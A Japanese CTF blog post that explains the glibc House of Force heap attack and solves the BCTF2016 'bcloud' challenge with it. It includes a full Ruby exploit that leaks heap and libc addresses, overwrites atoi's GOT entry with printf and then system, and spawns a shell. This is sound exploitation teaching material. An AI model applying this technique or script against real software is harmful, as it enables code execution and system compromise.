Pwn De Ring

初心者がPwnを勉強していくために使っている標準出力先です。

House of Forceの概要と実践(題材:BCTF2016 bcloud)

これは,CTF Advent Calendar2016の6日目の記事です. 本記事では,House of Forceというheap exploitのテクニックの解説,実践問題の解説を行ってみたいと思う.

1. House of Forceの前に

House of Forceの説明をするに当って,事前に知っておくべきheap領域について復習してみよう.今回は,題材問題も32bitなので,32bitとして話を勧めていく. glibcには,heap領域を管理するためのmalloc_state構造体というものが以下のように定義されている.

struct malloc_state
{
  mutex_t mutex;
  int flags;
  mfastbinptr fastbinsY[NFASTBINS];
  mchunkptr top;
  mchunkptr last_remainder;
  mchunkptr bins[NBINS * 2 - 2];
  unsigned int binmap[BINMAPSIZE];
  struct malloc_state *next;
  struct malloc_state *next_free;
  INTERNAL_SIZE_T system_mem;
  INTERNAL_SIZE_T max_system_mem;
};

malloc_stateは,main_arenaというグローバル変数で使われており,今回のHouse of Forceでは,main_arena.topが重要な要素となってくるので,ここを中心に話を進める.他のメンバも重要なので,参考資料等で読んでおきたい(自分への戒め). topメンバは,mchunkptrという型を使っているが,これは以下のmalloc_chunk構造体のポインタ型である.malloc_chunkはmalloc関数などで実際にユーザが操作するheap領域を管理するための構造体である.今後chunkといったら,このひとかたまりのことを指すと思って問題ない.

struct malloc_chunk {

  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

malloc_chunkも同様にメンバが複数あるが,malloc_chunkは確保済みか,解放済みかで見方が変わってくる.確保済みの場合は,size以降は,ユーザが使うdata領域として使われる.解放済みの場合は,fdやbkといったメンバに他のmalloc_chunkへのアドレスが格納されたりしている.今回の解説では,とりわけ解放済みを考慮する必要がないので,mallocが確保された時にどうなっているのかをしっかり理解して貰いたい.(Unlink Attackなどでは解放済みchunkが重要になってくる) 具体的な理解を進めるために,確保済みの場合のchunkを以下の図1に示す.

f:id:encry1024:20161205231316p:plain
図1 確保済みchunkのイメージ図

prev_sizeは直前のchunkのsize,sizeは自身のchunkのprev_sizeからdata領域まですべて合わせたchunk自体のsizeを表す.また,malloc関数ではdata領域の先頭アドレスが戻り値になっている.つまりmallocの戻り値から,4 * 2を減算することで,chunk自身のアドレスを算出することができる.

では,本題のtopに戻るが,mallocでは,通常確保されているヒープ領域の中から,chunkを切り出して確保している.確保するためには,保持している空きchunkの先頭アドレスを指しているtopを利用する.もっと直感的に言うなれば,次に確保されるかもしれないchunkのアドレスを指しているものである.

実際にtopに,次に確保されるアドレスが格納されているかを確かめるために以下のサンプルコードを使って見ていこう.

// gcc -m32 malloc_sample.c
#include <stdlib.h>
main() {
    char *p1 = (char*)malloc(8);
    char *p2 = (char*)malloc(8);
}

まずgdbmalloc関数が実行された後のeaxを見てみよう.私の環境では0x804b008という値が格納されていた.つまり最初に確保されたchunkは0x804b000から確保されたものだと分かる. また,この時x/wx &main_arena.topを実行してみると以下のようになっていた.

0xf7fb1450 <main_arena+48>:     0x0804b010

つまり,次に確保されるchunkは0x0804b010であり,実際にmallocで返ってくるのは0x0804b018ということがわかる.2回目のmallocの呼び出し後のeaxを見てみると0x0804b018となっていた.

まとめ

  • malloc_stateやmalloc_chunkといった構造体がmalloc内部で利用されている
  • malloc_chunkの管理部(prev_sizeとsize)の次のアドレスがmallocでは返ってくる
  • main_arena.topには,次に確保される予定のchunkのアドレスが格納されている

2. House of Force

House of Forceとは,topが指すchunkのsizeを0xfffffffffのような大きいサイズに書き換え,malloc(意図的に計算したサイズ)でメモリを確保することで,topが指す値を任意のアドレスに変え,その後再度mallocを呼ぶことで,mallocの返すアドレスを固定させる攻撃手法である.

以下にmallocで確保するアドレスにtopが指すアドレスを利用するか否かの判断をする部分のglibcのソースを示す.

checked_request2size(bytes, nb);
victim = av->top;
size = chunksize (victim);
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
  {
     remainder_size = size - nb;
     remainder = chunk_at_offset (victim, nb);
     av->top = remainder;
     set_head (victim, nb | PREV_INUSE |
              (av != &main_arena ? NON_MAIN_ARENA : 0));
     set_head (remainder, remainder_size | PREV_INUSE);
     check_malloced_chunk (av, victim, nb);
     void *p = chunk2mem (victim);
     alloc_perturb (p, bytes);
     return p;
  }

では,順番に見てみよう 現在のtopであるav->topをvictim変数に格納する. victimを引数にとり,chunksizeを介して,topのsizeをsize変数に格納している.その後,sizeとnb+MINSIZEを比較しており,これがtrueの時,topの指すアドレスから確保していきます. このnb+MINSIZEのうち,MINSIZEは16で,nbはユーザの要求サイズbytesを以下のマクロで変換した値になる.以下のマクロは要求サイズbytes+8をnbに格納する. つまりtopのsizeが要求サイズ-24以下であれば条件式が真になり,topから切り出す処理が行われる(ただ,実際にやってみると要求サイズ-20で条件式が真になってるっぽい...他の部分が関係しているのか...)

#define request2size(req)                                         
  (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE)  ?  
    MINSIZE : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

#define checked_request2size(req, sz)                             
  if (REQUEST_OUT_OF_RANGE (req)) {                                           
      __set_errno (ENOMEM);                                                   
     return 0;                                                               
   }                                                                         
  (sz) = request2size (req);

次に,if文の中を見てみよう. av->topにremainderを代入しており,そのremainderはchunk_at_offsetというマクロを使って計算している.このマクロを以下に示す.

#define chunk_at_offset(p, s)  ((mchunkptr) (((char *) (p)) + (s)))

つまり現在のtopであるvictimとnbを足した値を,新しいtopに設定していると分かる. もしこのsもといnbが負の値であったら,現在のtopよりも前の領域(bssやgot)などにずらすことが出来る.そのため,nbに負数を渡したいが,通常のtopのsizeは,あまり大きくない上に,if文はunsignedで比較しているため,mallocで負数を渡した場合,条件式が真にならない.そのため,事前にtopのsizeをunsigned値で大きなるように0xffffffffといった大きな値で書き換えておく必要がある.

これらのことを踏まえて,具体的な数値でHouse of Forceを処理を追ってみる.

  • topのsizeは0xffffffffで書き換え済み
  • mallocで0x804b038を返したい
  • 現在のtopを0x804c0d8とする

前述したように新しいtopは,現在のtop + (要求サイズ + 8)のように求まる. この新しいtopというのが,今回では0x804b030にあたる.mallocはtop+8を返すので,予め-8しておく必要がある. この計算式を変形すれば,要求サイズは以下のようにして求まる.

要求サイズ = 新しいtop - 現在のtop - 8

実際に計算してみると,要求サイズは,0x804b030 - 0x804c0d8 - 8 = -4272と計算できる.

まとめ

House of Forceとは,top sizeの書き換えや巨大なサイズのメモリ確保により,mallocで返すアドレスを任意のアドレスにする攻撃手法のことである.これを行うためには以下のような条件が挙げられる.

  1. topのsizeを0xffffffffに書き換え可能
  2. topのアドレスをリーク可能(要求サイズの計算に現在のtopが必要)
  3. mallocで負数を渡せる

3. House of Forceの実践

物は試しということで,House of Forceを使って解くことができるBCTF2016のbcloudという問題を解いていきたいと思います.

下調べ

  • ELF32bit stripped dynamically linked
  • Canary, Nx bit, Partial RELRO
  • 最初にname, org, hostを入力する
  • ノート管理系のアプリケーション
Input your name:
AAAA
Hey AAAA! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM!
Now let's set synchronization options.
Org:
BBBB
Host:
CCCC
OKay! Enjoy:)
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>

バイナリ解析

解析パートは割愛させていただきますが,主に以下のような脆弱性があります.

  • 全体で利用される文字列入力関数0x804868dにoff by one bof
  • nameの入力関数0x80487a1の実装にstrcpyが使われており,文字列入力関数の脆弱性からHeap bofが発生
    • Heap bofにより最初のmallocの戻り値をleak可能
  • orgとhostの入力関数0x804884eでも同様にHeap bofが発生
    • Heap bofによりtopのsizeを書き換え可能
  • 選択肢1で負数を引数にmallocを呼べる

まず,1番最初に呼ばれるname入力関数ではmalloc(64)が呼ばれる.その後,文字列入力関数で64byteの入力を促されるのだが,64byteぴったり入力するとNULL終端しなくなる.さらにその後strcpyが行われ,それがprintfで出力される.今回は,都合よく64byte目に,mallocの戻り値が格納されているためHeapのアドレスがリークにつながる. この時,mallocの戻り値はchunkのdata部分であることを思い出すと,管理部分の8byteを引けば,chunk自身のアドレスがわかる.さらに,これが初めてのmallocなので,このchunkはHeapのベースアドレスになる.

次のorgとhostの入力関数でも,malloc(64)がorgとhost用で2回呼ばれます.さらにHeap bof脆弱性を使ってtopのsizeを書き換える事ができるが,なぜtopのsizeが書き換えることができると分かるのだろうか.それは,ここまでで呼ばれるmallocの回数やサイズが固定だからである.実際,これまでにmalloc(64)は3回呼ばれた事になり,Heapのベースアドレスに(64 + 8) * 3を足せば,次のHeap領域に使われる予定のアドレスもといtopの指す値が求まる.topの指す値がわかるので,そこに+4すればtopのsizeのアドレスになる.実際,topのsizeのアドレスをわかった上でバイナリを読んでいくと,自明に書き換えている処理があることがわかります.(正確には,選択肢1の関数も読まないとわからない)

ここまでで,topのアドレスリークとtopのsizeの書き換えが可能であることがわかった.最後の条件ですが,選択肢1の関数を見るとわかるので載せておく.

0x80489fc:   mov    DWORD PTR [esp],0x8048eec # Input the length of content
0x8048a03:   call   0x8048520 <puts@plt>
0x8048a08:   call   0x8048709                 # 入力をatoiで数値にする関数
0x8048a0d:   mov    DWORD PTR [ebp-0xc],eax  
0x8048a10:   mov    eax,DWORD PTR [ebp-0xc]
0x8048a13:   add    eax,0x4                   # 入力値 + 4
0x8048a16:   mov    DWORD PTR [esp],eax       
0x8048a19:   call   0x8048510 <malloc@plt>    # malloc(入力値+4)

このようになっており,ユーザの指定した長さより+4しているが,重要なのは負数の時の対策がされていないことである.これにより最後の条件も満たす.これにより本問題ではHouse of Forceが可能だと判断できる.

後述するが,今回はatoiのGOTをmallocで返したい.値は0x804b03cなので,topに0x804b034を設定したいが,パディング等の都合上,0x804b030をターゲットとしたほうが理解しやすいので,今回のtargetは0x804b030 + 8の0x804b038とする.選択肢1では,長さを指定して,入力をするので,0x804b03cを書き換えたければ,0x804b038~0x804b03cの4byte分はゴミを入れて,その後の4byteで書き換えたい値を入力すれば良い.

先程の計算式より,要求サイズは, 要求サイズ = 0x804b030 - top - 8 として計算することができる.しかし,選択肢1ではユーザの指定した長さに+4してしまうので実際は,さらに-4する.

ここからは,普通のPwnとしての解説になるが,任意のアドレスを書き換え可能になった場合,簡単なのはatoiやstrlenといった入力値がそのまま入るような関数のGOTをシステムに書き換えてしまうことである.そこで今回はatoiのgotをsystemに書き換えてしまおう.しかしsystemのアドレスがわからないので,libcのリークをする必要がある.そこで,atoiをsystemに変える前に,いったんprintfに書き換えてしまい,意図的にFormat String Bugを引き起こしlibcのアドレスリークを行う.

選択肢3を選ぶとノートのidを指定して,中身を書き換えるEdit機能がある.これを使って,House of Forceで狙って帰ってきたアドレスの中身を書き換え可能である. アドレスリークして,systemのアドレスがわかった後は,選択肢3を選んでatoiをsystem関数に書き換えた後,選択肢を選ぶ画面で,"/bin/sh"を送ればシェルを取れる.ただし,選択肢3を選ぶときには,atoiはprintfなので"3"をいれるだけではprintfの戻り値が出力長さの1になってしまうので,"333"のように3文字分出力する必要がある.

ここまでの,長い解析結果を踏まえて作成したexploit.rbが以下である.

# coding: utf-8
require 'pwnlib.rb'
require 'libcdb'

host = "localhost"
port = 8888

class PwnTube
  
  def recv_until_prompt
    self.recv_until("-->>\n")
  end

  def new(len, data)
    recv_until_prompt
    self.sendline("1")
    self.recv_until("content:\n")
    self.sendline(len.to_s)
    self.recv_until("content:\n")
    self.send(data) if data
  end

  def edit(id, data)
    self.recv_until("id:\n")
    self.sendline(id.to_s)
    self.recv_until("content:\n")
    self.send(data) if data
  end
  
end

PwnTube.open(host, port) do |t|

  puts t.recv_until("\n")
  t.send("A" * 60 + "BBBB")
  puts t.recv_until("BBBB")

  # 最初のmallocの返り値からヘッダサイズの8byteを引けばヒープの先頭アドレスになる
  heap_base = t.recv(4).unpack("L")[0] - 8

  # malloc(64) x 3 = 72 * 3 = 216分確保される"予定"
  # heap_base + 216したところの領域が次に確保される領域
  top_chunk = heap_base + (64 + 8) * 3
  
  puts "[+] heap base = 0x%x" % heap_base
  puts "[+] top =  0x%x" % top_chunk
  
  puts t.recv_until("Org:\n")
  t.send("B" * 64)

  puts t.recv_until("Host:\n")
  t.sendline(p32(-1))
  puts "[+] overwriting top chunk size"

  atoi_got_plt = 0x804b03c
  target = atoi_got_plt - 0xc # top chunkを0x804b030にしたい
  
  evil_size = target - top_chunk - 8 - 4
  
  t.new(evil_size, nil)
  puts "[+] sending large size(=%d) for exploit" % evil_size
  
  printf_plt = 0x80484d0
  
  payload = ""
  payload = p32(0xdeadbeef)  # memset@got.plt
  payload << p32(printf_plt) # atoi@got.plt

  t.new(8, payload)
  puts "[+] overwriting atoi(0x%x) -> printf" % atoi_got_plt
  
  t.recv_until_prompt
  t.sendline("%31$p")
  libc_start_main = t.recv_capture(/(0x[0-9a-f]+)Invalid option/)[0].to_i(16) - 243
  
  libc = Libc.new("__libc_start_main", libc_start_main)
  offset = libc.dump("__libc_system") - libc.dump("__libc_start_main")
  libc_system = libc_start_main + offset
  puts "[+] libc system = 0x%x" % libc_system
  
  payload = ""
  payload << p32(0xdeadbeef)
  payload << p32(libc_system)

  t.recv_until_prompt
  t.sendline("A"*3)
  t.edit(0, payload)

  t.recv_until_prompt
  t.sendline("sh")
  t.shell
  
end

以下が実行した結果である.

vagrant@alice1000:~/c/BCTF2016$ ruby exploit.rb                       
[*] connected

Input your name:
Hey AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
[+] heap base = 0x97f9000
[+] top =  0x97f90d8
! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM!
Now let's set synchronization options.
Org:
Host:
[+] overwriting top chunk size
[+] sending large size(=-24830132) for exploit
[+] overwriting atoi(0x804b03c) -> printf
[+] libc system = 0xf7632310
[*] waiting for shell...
[*] interactive mode
cat flag.txt
BCTF{3asy_h0uSe_oooof_f0rce}

以上により,シェルが取れてflagが見れた.

4.おわり

去年の人にTwitterで「作って」と言われて,今回のAdventCalendarを作成しました.他の書いている方が強い人ばかりで恐縮ですが書かせていただきました.私自身とても他の人の記事を楽しみに待っていたり,読ませていただいております. 本記事の内容に関してましても,学んだばかりのため,かなり冗長になってしまったかと思いますが,最後まで読んでいただけてありがとうございます.この問題自体は,参考資料にもあるhow2heapの資料で,House of Forceの題材として挙げられていた問題の内の1つで,House of Forceの理解にわりと専念することが出来る問題だったので,良問のように思えます.マサカリ等ありましたら,ご指導いただけると嬉しく存じます.

5.参考文献